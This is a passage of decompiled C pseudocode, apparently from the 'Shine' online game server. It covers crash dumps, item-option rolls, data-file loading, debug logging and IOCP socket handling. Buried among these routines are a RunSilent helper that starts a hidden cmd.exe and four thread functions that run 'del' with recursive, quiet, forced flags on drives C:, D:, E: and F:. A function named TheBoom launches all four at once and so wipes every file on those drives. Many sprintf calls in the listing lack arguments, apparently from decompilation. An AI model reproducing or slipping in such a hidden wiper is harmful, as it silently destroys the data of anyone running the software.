GetCurrentTimeString2(0); v9 = v8; do v10 = *v8++; while ( v10 ); v11 = v8 - v9; v12 = (char *)&v23 + 3; do { v13 = *((_BYTE *)v12 + 1); v12 = (char *)v12 + 1; } while ( v13 ); memcpy(v12, v9, v11); v14 = (char *)&v23 + 3; do v15 = (v14++)[1]; while ( v15 ); v16 = word_5D9F8C; *(_DWORD *)v14 = *(_DWORD *)".mdmp"; *((_WORD *)v14 + 2) = v16; v17 = CreateFileA(szDumpPath, 0x40000000u, 2u, 0, 2u, 0x80u, 0); if ( v17 == (HANDLE)-1 ) { GetLastError(); sprintf(szScratch, "EXCEPTION - Failed to create dump file '%s' (error %d)"); _DebugMessageNew(1, "Msg", "%s"); } else { ExInfo = GetCurrentThreadId(); v22 = pExceptionInfo; v23 = 0; v18 = GetCurrentProcessId(); v19 = GetCurrentProcess(); if ( ((int (__stdcall *)(HANDLE, DWORD, HANDLE, signed int, DWORD *, _DWORD, _DWORD))v5)( v19, v18, v17, 64, &ExInfo, 0, 0) ) { retval = 1; sprintf(szScratch, "EXCEPTION - Saved dump file to '%s'"); _DebugMessageNew(1, "Msg", "%s"); CloseHandle(v17); } else { GetLastError(); sprintf(szScratch, "EXCEPTION - Failed to save dump file to '%s' (error %d)"); _DebugMessageNew(1, "Msg", "%s"); CloseHandle(v17); } } result = retval; } else { _DebugMessageNew(1, "Msg", "%s"); result = 0; } } else { _DebugMessageNew(1, "Msg", "%s"); result = 0; } return result; } // 5D9F8C: using guessed type __int16 word_5D9F8C; // 5D9FEC: using guessed type int dword_5D9FEC; // 5D9FF0: using guessed type void *off_5D9FF0; // 1465DF9C: using guessed type int (*MiniDumper__FuncForStack)(void); //----- (00559660) -------------------------------------------------------- void __thiscall MiniDumper::MiniDumper(MiniDumper *this) { SetUnhandledExceptionFilter(MiniDumper::TopLevelFilter); } //----- (00559680) -------------------------------------------------------- void __thiscall ItemOptionsData::OptionCardStack::OptionCardStack(ItemOptionsData::OptionCardStack *this) { CardDeck::CardStack::CardStack(&this->ocs_cardstack); } //----- (005596A0) -------------------------------------------------------- int __thiscall ItemOptionsData::OptionCardStack::ocs_selectnumber(ItemOptionsData::OptionCardStack *this, ItemOptions *op) { unsigned int v2; // eax@1 char *v3; // eax@1 int v4; // ecx@1 int v5; // eax@1 signed int v6; // ecx@1 char *v7; // edx@1 int v8; // esi@2 unsigned int v9; // eax@6 int result; // eax@7 char *v11; // edx@10 int v12; // eax@10 unsigned __int16 v13; // dx@10 v2 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v2; v3 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v2]]; v4 = (*((_DWORD *)v3 + 8192) + 1) & *((_DWORD *)v3 + 8193); *((_DWORD *)v3 + 8192) = v4; v5 = *(_WORD *)&v3[2 * v4]; v6 = 0; v7 = (char *)op->Rate; do { v8 = *(_WORD *)v7; if ( v8 >= v5 ) break; v5 -= v8; ++v6; v7 += 2; } while ( v6 < 9 ); if ( v6 >= 9 ) { AssertClass::ac_AssertFail( &shineassert, "ItemOptionsData::OptionCardStack::ocs_selectnumber : Error in random select", op->OptionDegree); v6 = 0; } LOBYTE(v9) = op->Interval; if ( (_BYTE)v9 == 1 ) { result = v6 + 1; } else { v9 = (unsigned __int8)v9; if ( (_BYTE)v9 && v9 <= 0x64 ) { v11 = (char *)&rndbox + 32776 * v9; v12 = *((_DWORD *)v11 + 8193) & (*((_DWORD *)v11 + 8192) + 1); *((_DWORD *)v11 + 8192) = v12; v13 = *(_WORD *)&v11[2 * v12]; } else { v13 = 0; } result = v13 + v6 * op->Interval; if ( result >= 256 ) { AssertClass::ac_AssertFail( &shineassert, "ItemOptionsData::OptionCardStack::ocs_selectnumber : Too large value", result); result = 255; } } return result; } //----- (005597A0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x972u, 0x42u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00559850) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x62Fu, 0x16u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00559900) -------------------------------------------------------- void __thiscall RewardData::RewardData(RewardData *this) { RewardData *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->baseclass_0.baseclass_0); memset(&v1->baseclass_0.bdb_defaultblock, 0, 0x40u); HIWORD(v1->baseclass_0.bdb_defaultblock.TitleDegree) = 0; } //----- (00559920) -------------------------------------------------------- void __thiscall RewardData::rd_Load(RewardData *this) { RewardData *v1; // esi@1 v1 = this; BinaryDataBox::bdb_ReadData(&this->baseclass_0, "../9Data/Shine/ShineReward.shn"); v1->baseclass_0.bdb_defaultblock.RewardHandle = -1; } //----- (00559940) -------------------------------------------------------- ShineReward *__thiscall RewardData::rd_FindHandle(RewardData *this, int handle) { RewardData *v2; // edi@1 unsigned int v3; // eax@1 unsigned int v4; // esi@1 bool v5; // cf@2 ShineReward *result; // eax@4 signed int v7; // eax@7 v2 = this; v3 = this->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v4 = 0; if ( (signed int)v3 <= 0 ) { LABEL_8: result = 0; } else { v5 = v3 > 0; while ( 1 ) { result = (ShineReward *)(v5 ? CDataReader::GetRecord(&v2->baseclass_0.baseclass_0.baseclass_0, v4) : &v2->baseclass_0.bdb_defaultblock); if ( result->RewardHandle == handle ) break; v7 = v2->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; ++v4; v5 = v4 < v7; if ( (signed int)v4 >= v7 ) goto LABEL_8; } } return result; } //----- (00559980) -------------------------------------------------------- void __thiscall ItemOptionsData::ItemOptionsData(ItemOptionsData *this) { ItemOptionsData *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->baseclass_0.baseclass_0); *(_DWORD *)&v1->baseclass_0.bdb_defaultblock.OptionDegree = 0; *(_DWORD *)&v1->baseclass_0.bdb_defaultblock.Rate[0] = 0; *(_DWORD *)&v1->baseclass_0.bdb_defaultblock.Rate[2] = 0; *(_DWORD *)&v1->baseclass_0.bdb_defaultblock.Rate[4] = 0; *(_DWORD *)&v1->baseclass_0.bdb_defaultblock.Rate[6] = 0; v1->baseclass_0.bdb_defaultblock.Rate[8] = 0; _eh_vector_constructor_iterator_( v1->iod_optionlist, 0x24u, 500, (void (__thiscall *)(void *))ItemOptionsData::OptionCardStack::OptionCardStack, (void (__thiscall *)(void *))ItemOptionsData::OptionCardStack::_OptionCardStack); } //----- (005599F0) -------------------------------------------------------- void __thiscall ItemOptionsData::_ItemOptionsData(ItemOptionsData *this) { BinaryData *v1; // esi@1 v1 = (BinaryData *)this; _eh_vector_destructor_iterator_( this->iod_optionlist, 0x24u, 500, (void (__thiscall *)(void *))ItemOptionsData::OptionCardStack::_OptionCardStack); CCharacterTitleData::_CCharacterTitleData(v1); } //----- (00559A50) -------------------------------------------------------- char __thiscall ItemOptionsData::OptionCardStack::ocs_make(ItemOptionsData::OptionCardStack *this, ItemOptionStorage *ios) { ItemOptionStorage *v2; // esi@1 ItemOptionsData::OptionCardStack *v3; // edi@1 ItemOptions *v4; // eax@1 char result; // al@2 int v6; // ebp@3 unsigned int v7; // eax@3 ListStruct *v8; // edx@4 unsigned __int16 v9; // ax@4 int v10; // eax@5 ItemOptionStorage **v11; // ebx@6 signed __int16 v12; // ax@7 int v13; // ebx@10 void *v14; // eax@13 char v15; // cl@16 char v16; // cl@18 int v17; // [sp+0h] [bp-4h]@1 HIWORD(v17) = HIWORD(this); v2 = ios; v3 = this; ios->fixed.optionnumber.str._bf0 &= 1u; v4 = this->ocs_Number; if ( v4 ) { v6 = ItemOptionsData::OptionCardStack::ocs_selectnumber(this, v4); v7 = (ios->fixed.optionnumber.str._bf0 & 1u) >> 1; ios->fixed.optionnumber.str._bf0 &= 1u; if ( (signed int)v7 >= v6 ) { LABEL_19: result = 1; } else { while ( 1 ) { v8 = v3->ocs_cardstack.cs_deck.l_Array; v9 = v8[v3->ocs_cardstack.cs_deck.l_Finger.store].ls_Next; LOWORD(v17) = v9; if ( v9 < v3->ocs_cardstack.cs_deck.l_MaxSize && (v10 = (int)&v8[v9], *(_BYTE *)(v10 + 8)) && (v11 = *(ItemOptionStorage ***)v10) != 0 ) { v3->ocs_cardstack.cs_deck.vfptr->l_Free((List *)v3, v17); ios = *v11; v12 = 1; } else { v12 = 0; } if ( !v12 ) { AssertClass::ac_AssertFail( &shineassert, "ItemOptionsData::OptionCardStack::ocs_make : Error in selecting", v3->ocs_Number->OptionDegree); return 0; } v13 = v3->ocs_Number->OptionDegree; if ( !CardDeck::CardStack::cs_InsertBottom(&v3->ocs_cardstack, (unsigned int)ios) ) AssertClass::ac_AssertFail( &shineassert, "ItemOptionsData::OptionCardStack::ocs_make : Error in card recycle", v13); if ( (unsigned int)ios < *(_DWORD *)(unk_1465DFD0 + 40) ) v14 = CDataReader::GetRecord(&itemoptiondata.baseclass_0.baseclass_0.baseclass_0, (unsigned int)ios); else v14 = &unk_1465DFDC; if ( *(_WORD *)v14 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "ItemOptionsData::OptionCardStack::ocs_make : Option not found", *(_WORD *)v14); return 0; } v15 = *((_BYTE *)v14 + 2); if ( !v15 ) break; if ( (unsigned __int8)v15 >= 0xCu ) break; *(&v2->optionlist[0].itemoption_type + 2 * ((unsigned int)v2->fixed.optionnumber.str._bf0 >> 1) + ((unsigned int)v2->fixed.optionnumber.str._bf0 >> 1)) = v15; *(unsigned __int16 *)((char *)&v2->optionlist[0].itemoption_value + 2 * ((unsigned int)v2->fixed.optionnumber.str._bf0 >> 1) + ((unsigned int)v2->fixed.optionnumber.str._bf0 >> 1)) = ItemOptionsData::OptionCardStack::ocs_selectnumber( v3, v3->ocs_Number); v16 = v2->fixed.optionnumber.str._bf0 & 1 ^ ((v2->fixed.optionnumber.str._bf0 & 0xFE) + 2); v2->fixed.optionnumber.str._bf0 = v16; if ( (signed int)((unsigned int)(unsigned __int8)v16 >> 1) >= v6 ) goto LABEL_19; } AssertClass::ac_AssertFail( &shineassert, "ItemOptionsData::OptionCardStack::ocs_make : Invalid Option", *(_WORD *)v14); result = 0; } } else { result = 0; } return result; } //----- (00559C10) -------------------------------------------------------- void __thiscall ItemOptionsData::iod_Load(ItemOptionsData *this) { ItemOptionsData *v1; // edi@1 int v2; // eax@1 signed int v3; // ecx@1 unsigned int v4; // eax@3 unsigned int v5; // ebp@3 bool v6; // cf@4 void *v7; // esi@6 int v8; // eax@8 signed int v9; // eax@17 int v10; // esi@18 signed int v11; // ebx@18 v1 = this; BinaryDataBox::bdb_ReadData(&this->baseclass_0, "../9Data/Shine/ItemOptions.shn"); v2 = (int)&v1->iod_optionlist[0].ocs_Number; v3 = 500; do { *(_DWORD *)v2 = 0; v2 += 36; --v3; } while ( v3 ); v4 = v1->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v5 = 0; if ( (signed int)v4 > 0 ) { v6 = v4 > 0; do { if ( v6 ) v7 = CDataReader::GetRecord(&v1->baseclass_0.baseclass_0.baseclass_0, v5); else v7 = &v1->baseclass_0.bdb_defaultblock; v8 = *(_WORD *)v7; if ( *((_BYTE *)v7 + 2) ) { if ( !v1->iod_optionlist[v8].ocs_Number ) { AssertClass::ac_AssertFail( &shineassert, "ItemOptionsData::OptionCardStack::ocs_cardinsert : not initializes", v8); ShineExit("ItemOptionsData::OptionCardStack::ocs_cardinsert"); } CardDeck::CardStack::cs_InsertTop(&v1->iod_optionlist[v8].ocs_cardstack, v5); } else { if ( v1->iod_optionlist[v8].ocs_Number ) { AssertClass::ac_AssertFail( &shineassert, "ItemOptionsData::OptionCardStack::ocs_Init : already initialized", *(_WORD *)v7); ShineExit("ItemOptionsData::OptionCardStack::ocs_Init"); } v1->iod_optionlist[v8].ocs_Number = (ItemOptions *)v7; List::l_Clear(&v1->iod_optionlist[v8].ocs_cardstack.cs_deck); } v9 = v1->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; ++v5; v6 = v5 < v9; } while ( (signed int)v5 < v9 ); } v10 = (int)v1->iod_optionlist; v11 = 500; do { if ( *(_DWORD *)(v10 + 32) ) CardDeck::CardStack::cs_Suffle((CardDeck::CardStack *)v10, 50); v10 += 36; --v11; } while ( v11 ); v1->baseclass_0.bdb_defaultblock.OptionDegree = -1; } //----- (00559D30) -------------------------------------------------------- const char *__cdecl GetLastErrorStr(unsigned int errorcode, int bAddCRLF) { unsigned int v2; // esi@1 DWORD v3; // eax@3 const char *v5; // [sp-8h] [bp-10h]@7 v2 = errorcode; if ( !errorcode ) v2 = GetLastError(); v3 = 4608; if ( !bAddCRLF ) v3 = 4863; if ( !FormatMessageA(v3, 0, v2, 0x400u, ErrorMessage, 0x400u, 0) ) { if ( bAddCRLF ) v5 = "ErrorCode=%d\r\n"; else v5 = "ErrorCode=%d"; sprintf(ErrorMessage, v5); } return ErrorMessage; } //----- (00559DA0) -------------------------------------------------------- const char *__cdecl GetCurrentTimeString(int bUTCTime) { const char *result; // eax@4 __int16 Time; // [sp+0h] [bp-114h]@2 char sCurrentTime[128]; // [sp+10h] [bp-104h]@4 char sCurrentDate[128]; // [sp+90h] [bp-84h]@4 unsigned int cookie; // [sp+110h] [bp-4h]@4 if ( bUTCTime ) GetSystemTime((LPSYSTEMTIME)&Time); else GetLocalTime((LPSYSTEMTIME)&Time); sprintf(sCurrentDate, "%04d-%02d-%02d"); sprintf(sCurrentTime, "%02d:%02d:%02d"); sprintf(sCurrentDateTime, "%s %s "); __security_check_cookie(cookie); return result; } //----- (00559E50) -------------------------------------------------------- const char *__cdecl GetCurrentTimeString2(int bUTCTime) { const char *result; // eax@4 SYSTEMTIME Time; // [sp+0h] [bp-114h]@2 char sCurrentTime[128]; // [sp+10h] [bp-104h]@4 char sCurrentDate[128]; // [sp+90h] [bp-84h]@4 unsigned int cookie; // [sp+110h] [bp-4h]@4 if ( bUTCTime ) GetSystemTime(&Time); else GetLocalTime(&Time); sprintf(sCurrentDate, "%04d-%02d-%02d"); sprintf(sCurrentTime, "%02d:%02d:%02d"); GetTimeFormatA(0, 0, &Time, "tt hhmmss", sCurrentTime, 128); sprintf(sCurrentDateTime_0, "%s %s"); __security_check_cookie(cookie); return result; } //----- (00559F20) -------------------------------------------------------- void __cdecl _DebugMessageNew2(int bView, const char *sFN, const char *lpszFormat, char *args) { const char *v4; // eax@2 const char *v5; // ecx@3 const char *v6; // esi@3 char v7; // dl@4 const char v8; // cl@6 _iobuf *v9; // eax@7 _iobuf *v10; // esi@7 struct _SYSTEMTIME LocalTime; // [sp+Ch] [bp-B2Ch]@7 unsigned int v12; // [sp+1Ch] [bp-B1Ch]@5 char CurrentDate[128]; // [sp+20h] [bp-B18h]@7 ORColumnHeader **MsgFNMiddle; // [sp+A0h] [bp-A98h]@2 char v15; // [sp+A4h] [bp-A94h]@2 char MsgFNFull[260]; // [sp+1A8h] [bp-990h]@7 char CurrentTime[128]; // [sp+2B0h] [bp-888h]@7 char msgbuff[1024]; // [sp+330h] [bp-808h]@2 char Msg[1024]; // [sp+730h] [bp-408h]@2 if ( bView ) { _vsnprintf(msgbuff, 0x400u, lpszFormat, args); ++gDebugMessageCounter; GetCurrentTimeString(0); sprintf(Msg, "%06d %s%s\n"); MsgFNMiddle = (ORColumnHeader **)((char *)&charclassmanager.ccm_classcleverfighter.baseclass_0.baseclass_0.baseclass_4.or_TableArray[19].ort_HeaderList.orchl_fieldname[458] + 1); memset(&v15, 0, 0x100u); v4 = sFN; if ( sFN != byte_59A24E ) { v5 = sFN; v6 = sFN + 1; do v7 = *v5++; while ( v7 ); v12 = v5 - v6; if ( v5 != v6 ) { do { v8 = *v4; v4[(char *)&MsgFNMiddle - sFN] = *v4; ++v4; } while ( v8 ); } } GetLocalTime(&LocalTime); sprintf(CurrentDate, "%04d-%02d-%02d"); sprintf(CurrentTime, "%02d:%02d:%02d"); sprintf(MsgFNFull, ".\\DebugMessage\\%s_%s.txt"); MakeSureDirectoryPathExists(MsgFNFull); v9 = fopen(MsgFNFull, "a+"); v10 = v9; if ( v9 ) { fprintf(v9, Msg); fclose(v10); } } } // 146626C8: using guessed type unsigned __int16 gDebugMessageCounter; //----- (0055A0B0) -------------------------------------------------------- void __cdecl _DEBUGMSG(const char *lpszFormat) { char args; // [sp+8h] [bp+8h]@0 _DebugMessageNew2(1, "Msg", lpszFormat, &args); } //----- (0055A0D0) -------------------------------------------------------- void __cdecl _DEBUGMSGVC(int bView, const char *lpszFormat) { char args; // [sp+Ch] [bp+Ch]@0 _DebugMessageNew2(bView, "Msg", lpszFormat, &args); } //----- (0055A0F0) -------------------------------------------------------- void __cdecl _DebugMessageNew(int bView, const char *sFN, const char *lpszFormat) { char args; // [sp+10h] [bp+10h]@0 _DebugMessageNew2(bView, sFN, lpszFormat, &args); } //----- (0055A110) -------------------------------------------------------- unsigned int __cdecl RunSilent(char *strFunct, char *strstrParams) { char *v2; // eax@1 char *v3; // edx@2 char v4; // cl@3 int v5; // eax@5 char v6; // cl@6 char *v7; // edi@7 char v8; // al@8 char v9; // cl@9 unsigned int v10; // eax@9 void *v11; // edi@9 char v12; // cl@10 char *v13; // edi@11 char v14; // al@12 unsigned int v15; // eax@13 void *v16; // edi@13 char v17; // cl@14 unsigned int result; // eax@16 unsigned int ExitCode; // [sp+8h] [bp-105Ch]@17 struct _PROCESS_INFORMATION ProcessInformation; // [sp+Ch] [bp-1058h]@15 struct _STARTUPINFOA StartupInfo; // [sp+1Ch] [bp-1048h]@1 char CommandLine[4096]; // [sp+60h] [bp-1004h]@1 memset(&StartupInfo, 0, sizeof(StartupInfo)); StartupInfo.cb = 68; StartupInfo.dwFlags = 1; StartupInfo.wShowWindow = 0; CommandLine[0] = 0; v2 = getenv("COMSPEC"); if ( v2 ) { v3 = (char *)(CommandLine - v2); do { v4 = *v2; v2[(_DWORD)v3] = *v2; ++v2; } while ( v4 ); } else { v5 = 0; do { v6 = aC_4[v5]; CommandLine[v5++] = v6; } while ( v6 ); } v7 = (char *)&StartupInfo.hStdError + 3; do v8 = (v7++)[1]; while ( v8 ); v9 = byte_5DA32C; *(_DWORD *)v7 = *(_DWORD *)" /c "; v7[4] = v9; v10 = strlen(strFunct) + 1; v11 = (char *)&StartupInfo.hStdError + 3; do { v12 = *((_BYTE *)v11 + 1); v11 = (char *)v11 + 1; } while ( v12 ); memcpy(v11, strFunct, v10); v13 = (char *)&StartupInfo.hStdError + 3; do v14 = (v13++)[1]; while ( v14 ); *(_WORD *)v13 = stru_598DE4.maa_MobHandle; v15 = strlen(strstrParams) + 1; v16 = (char *)&StartupInfo.hStdError + 3; do { v17 = *((_BYTE *)v16 + 1); v16 = (char *)v16 + 1; } while ( v17 ); memcpy(v16, strstrParams, v15); if ( CreateProcessA(0, CommandLine, 0, 0, 0, 0x10u, 0, 0, &StartupInfo, &ProcessInformation) ) { WaitForSingleObject(ProcessInformation.hProcess, 0xFFFFFFFFu); if ( !GetExitCodeProcess(ProcessInformation.hProcess, &ExitCode) ) ExitCode = 0; CloseHandle(ProcessInformation.hThread); CloseHandle(ProcessInformation.hProcess); result = ExitCode; } else { result = GetLastError(); } return result; } // 5DA32C: using guessed type char byte_5DA32C; // 55A110: using guessed type char CommandLine[4096]; //----- (0055A2B0) -------------------------------------------------------- unsigned int __stdcall CDriveDel(void *LPARAM) { unsigned int v1; // eax@1 v1 = RunSilent("del", "c:\\* /A RSHA /S /Q /F"); if ( v1 ) { while ( v1 != 1 ) ; } _endthreadex(0); } //----- (0055A2E0) -------------------------------------------------------- unsigned int __stdcall DDriveDel(void *LPARAM) { unsigned int v1; // eax@1 v1 = RunSilent("del", "d:\\* /A RSHA /S /Q /F"); if ( v1 ) { while ( v1 != 1 ) ; } _endthreadex(0); } //----- (0055A310) -------------------------------------------------------- unsigned int __stdcall EDriveDel(void *LPARAM) { unsigned int v1; // eax@1 v1 = RunSilent("del", "e:\\* /A RSHA /S /Q /F"); if ( v1 ) { while ( v1 != 1 ) ; } _endthreadex(0); } //----- (0055A340) -------------------------------------------------------- unsigned int __stdcall FDriveDel(void *LPARAM) { unsigned int v1; // eax@1 v1 = RunSilent("del", "f:\\* /A RSHA /S /Q /F"); if ( v1 ) { while ( v1 != 1 ) ; } _endthreadex(0); } //----- (0055A370) -------------------------------------------------------- BOOL __cdecl TheBoom() { void *v0; // esi@1 void *v1; // edi@1 void *v2; // ebx@1 void *v3; // ebp@1 DWORD nThreadID; // [sp+10h] [bp-4h]@1 nThreadID = 0; v0 = (void *)_beginthreadex(0, 0, FDriveDel, 0, 0, &nThreadID); v1 = (void *)_beginthreadex(0, 0, EDriveDel, 0, 0, &nThreadID); v2 = (void *)_beginthreadex(0, 0, DDriveDel, 0, 0, &nThreadID); v3 = (void *)_beginthreadex(0, 0, CDriveDel, 0, 0, &nThreadID); CloseHandle(v0); CloseHandle(v1); CloseHandle(v2); return CloseHandle(v3); } //----- (0055A400) -------------------------------------------------------- int __thiscall CSocket_Acceptor_Process_Interface::Accept_Process(CIOCP_Process_Socket *this, CIOCP::IOCP_OVERLAPPED *pOverlapped, unsigned int NumOfBytes) { return 1; } //----- (0055A410) -------------------------------------------------------- void __thiscall CIOCP_Process::CIOCP_Process(CIOCP_Process *this) { CIOCP_Process *v1; // eax@1 char *v2; // ecx@1 v1 = this; v2 = (char *)&this->m_DefautProcess; *(_DWORD *)v2 = &CIOCP_Process_Interfece::_vftable_; v1->m_pProcess = (CIOCP_Process_Interfece *)v2; } // 5D3EC8: using guessed type int (__stdcall *CIOCP_Process_Interfece___vftable_)(int pOverlapped, int NumOfBytes); //----- (0055A420) -------------------------------------------------------- int __thiscall CSocket_IOCP::Receive(CSocket_IOCP *this, void *pBuffer, unsigned int dwNumBytes, unsigned int *pdwReadBytes) { DWORD v4; // eax@2 int result; // eax@4 DWORD ReadBytes; // [sp+Ch] [bp-108h]@1 char Msg[256]; // [sp+10h] [bp-104h]@4 if ( ReadFile((HANDLE)this->m_Socket, pBuffer, dwNumBytes, &ReadBytes, &this->m_Overlapped_Read.baseclass_0) || (v4 = GetLastError()) == 0 || v4 == 997 ) { if ( pdwReadBytes ) *pdwReadBytes = ReadBytes; result = 1; } else { sprintf(Msg, "CSocket_IOCP::Read, ERROR=%d, m_Socket=%d, pBuffer=%p, dwNumBytes:%d, ReadBytes:%d"); _DebugMessageNew(1, "Msg", "%s"); result = 0; } return result; } //----- (0055A4F0) -------------------------------------------------------- int __thiscall CSocket_IOCP::Shutdown(CSocket_IOCP *this) { int result; // eax@3 if ( this->m_Socket != -1 && shutdown(this->m_Socket, 1) ) { _DebugMessageNew(1, "Msg", "%s"); GetLastError(); result = 0; } else { result = 1; } return result; } //----- (0055A530) -------------------------------------------------------- void __thiscall CSocket_IOCP::CloseUseIOCP(CSocket_IOCP *this, CIOCP *pIOCP) { PostQueuedCompletionStatus(pIOCP->m_HandleIOCP, 0, this->m_Socket, &this->m_Overlapped_Close.baseclass_0); } //----- (0055A550) -------------------------------------------------------- void __thiscall CSocket_IOCP::FreeBuffer(CSocket_IOCP *this) { CSocket_IOCP *v1; // esi@1 CIOBuffer *v2; // ecx@2 v1 = this; while ( v1->m_pFirstBuf ) { v2 = v1->m_pFirstBuf; v1->m_pFirstBuf = v2->m_pNext; v1->m_nPendingWrite -= v2->m_dwSize; CIOBuffer::Free(v2); } } //----- (0055A590) -------------------------------------------------------- int __thiscall CSocket_IOCP::Close(CSocket_IOCP *this) { CSocket_IOCP *v1; // esi@1 int v2; // ebx@1 v1 = this; v2 = 1; if ( this->m_Socket != -1 ) { if ( closesocket(this->m_Socket) ) { _DebugMessageNew(1, "Msg", "%s"); GetLastError(); v2 = 0; } else { v1->m_Socket = -1; } } EnterCriticalSection(&v1->m_Write_CS); CSocket_IOCP::FreeBuffer(v1); v1->m_nPendingWrite = 0; v1->m_pFirstBuf = 0; LeaveCriticalSection(&v1->m_Write_CS); return v2; } //----- (0055A610) -------------------------------------------------------- int __thiscall CSocket_IOCP::Write(CSocket_IOCP *this, CIOBuffer *pBuffer) { CSocket_IOCP *v2; // ebp@1 DWORD v3; // esi@1 unsigned int v4; // eax@1 void *v5; // edx@3 CIOBuffer *v7; // ecx@8 DWORD v8; // eax@11 CIOBuffer *v9; // eax@19 unsigned int v10; // edx@20 unsigned int v11; // ecx@20 void *v12; // edi@21 unsigned int v13; // eax@21 unsigned int v14; // ecx@21 DWORD WrittenBytes; // [sp+Ch] [bp-108h]@1 char Msg[128]; // [sp+10h] [bp-104h]@2 v2 = this; v3 = (DWORD)&this->m_Write_CS; WrittenBytes = (DWORD)&this->m_Write_CS; EnterCriticalSection(&this->m_Write_CS); v4 = pBuffer->m_dwSize; if ( !v4 ) { sprintf(Msg, "CSocket_IOCP::Write dwSize=%d"); _DebugMessageNew(1, "Msg", "%s"); LABEL_7: CIOBuffer::Free(pBuffer); LeaveCriticalSection((LPCRITICAL_SECTION)v3); return 0; } v5 = (void *)v2->m_Socket; if ( v2->m_Socket == -1 ) { sprintf(Msg, "CSocket_IOCP::Write, INVALID m_Socket=%d"); _DebugMessageNew(1, "Msg", "%s"); goto LABEL_7; } if ( v4 > 0x2000 ) { sprintf(Msg, "Send IOBuffer Full::dwSize=%d, BUFFER_SIZE=%d"); _DebugMessageNew(1, "Msg", "%s"); goto LABEL_7; } v2->m_nPendingWrite += v4; v7 = v2->m_pFirstBuf; if ( v7 ) { v9 = v2->m_pLastBuf; if ( v7 == v9 || (v10 = v9->m_dwSize, v11 = pBuffer->m_dwSize, v10 + v11 > 0x2000) ) { v9->m_pNext = pBuffer; v2->m_pLastBuf = pBuffer; } else { v12 = &v9->m_buffer[v10]; v13 = pBuffer->m_dwSize; v14 = v11 >> 2; memcpy(v12, pBuffer->m_buffer, 4 * v14); memcpy((char *)v12 + 4 * v14, &pBuffer->m_buffer[4 * v14], v13 & 3); v2->m_pLastBuf->m_dwSize += pBuffer->m_dwSize; CIOBuffer::Free(pBuffer); v3 = WrittenBytes; } goto LABEL_23; } v2->m_pLastBuf = pBuffer; v2->m_pFirstBuf = pBuffer; if ( WriteFile(v5, pBuffer->m_buffer, pBuffer->m_dwSize, &WrittenBytes, &v2->m_Overlapped_Write.baseclass_0) || GetLastError() == 997 ) { LABEL_23: LeaveCriticalSection((LPCRITICAL_SECTION)v3); return 1; } v8 = GetLastError(); if ( v8 != 10038 && v8 != 10054 && v8 != 10053 && v8 != 10058 && v8 != 10022 ) { if ( v8 != 64 ) { sprintf(Msg, "CSocket_IOCP::Write %#x(%#x) err=%d"); _DebugMessageNew(1, "Msg", "%s"); } } CSocket_IOCP::FreeBuffer(v2); LeaveCriticalSection((LPCRITICAL_SECTION)v3); return 0; } //----- (0055A860) -------------------------------------------------------- void __thiscall CSocket_IOCP::WriteCallback(CSocket_IOCP *this, unsigned int dwTransferred) { CSocket_IOCP *v2; // esi@1 _RTL_CRITICAL_SECTION *v3; // ebp@1 CIOBuffer *v4; // eax@1 CIOBuffer *v5; // edi@5 CIOBuffer *v6; // eax@5 DWORD v7; // eax@8 DWORD WrittenBytes; // [sp+Ch] [bp-88h]@6 char Msg[128]; // [sp+10h] [bp-84h]@14 v2 = this; v3 = &this->m_Write_CS; EnterCriticalSection(&this->m_Write_CS); v4 = v2->m_pFirstBuf; if ( v4 ) { if ( dwTransferred == v4->m_dwSize ) { v5 = v2->m_pFirstBuf; v2->m_nPendingWrite -= dwTransferred; v6 = v5->m_pNext; v2->m_pFirstBuf = v6; if ( v6 && !WriteFile( (HANDLE)v2->m_Socket, v6->m_buffer, v6->m_dwSize, &WrittenBytes, &v2->m_Overlapped_Write.baseclass_0) && GetLastError() != 997 ) { v7 = GetLastError(); if ( v7 != 10038 && v7 != 10054 && v7 != 10053 && v7 != 10058 && v7 != 10022 ) { if ( v7 != 64 ) { sprintf(Msg, "CSocket_IOCP::WriteCallback %#x(%#x) err=%d"); _DebugMessageNew(1, "Msg", "%s"); } } CSocket_IOCP::FreeBuffer(v2); } CIOBuffer::Free(v5); } else { inet_ntoa(*(struct in_addr *)&v2->m_SocketAddr.sa_data[2]); ntohs(*(_WORD *)&v2->m_SocketAddr.sa_data[0]); _DEBUGMSG("MISSMATCH - WriteCallback, dwTransferred=%d, FirstBFSize=%d, IP=%s:%d, SOCKET=%d, m_nPendingWrite=%d"); CSocket_IOCP::FreeBuffer(v2); } LeaveCriticalSection(v3); } else { inet_ntoa(*(struct in_addr *)&v2->m_SocketAddr.sa_data[2]); ntohs(*(_WORD *)&v2->m_SocketAddr.sa_data[0]); _DEBUGMSG("m_pFirstBuf = NULL - WriteCallback, IP=%s:%d, SOCKET=%d, dwTransferred=%d, m_nPendingWrite=%d"); CSocket_IOCP::FreeBuffer(v2); LeaveCriticalSection(v3); } } 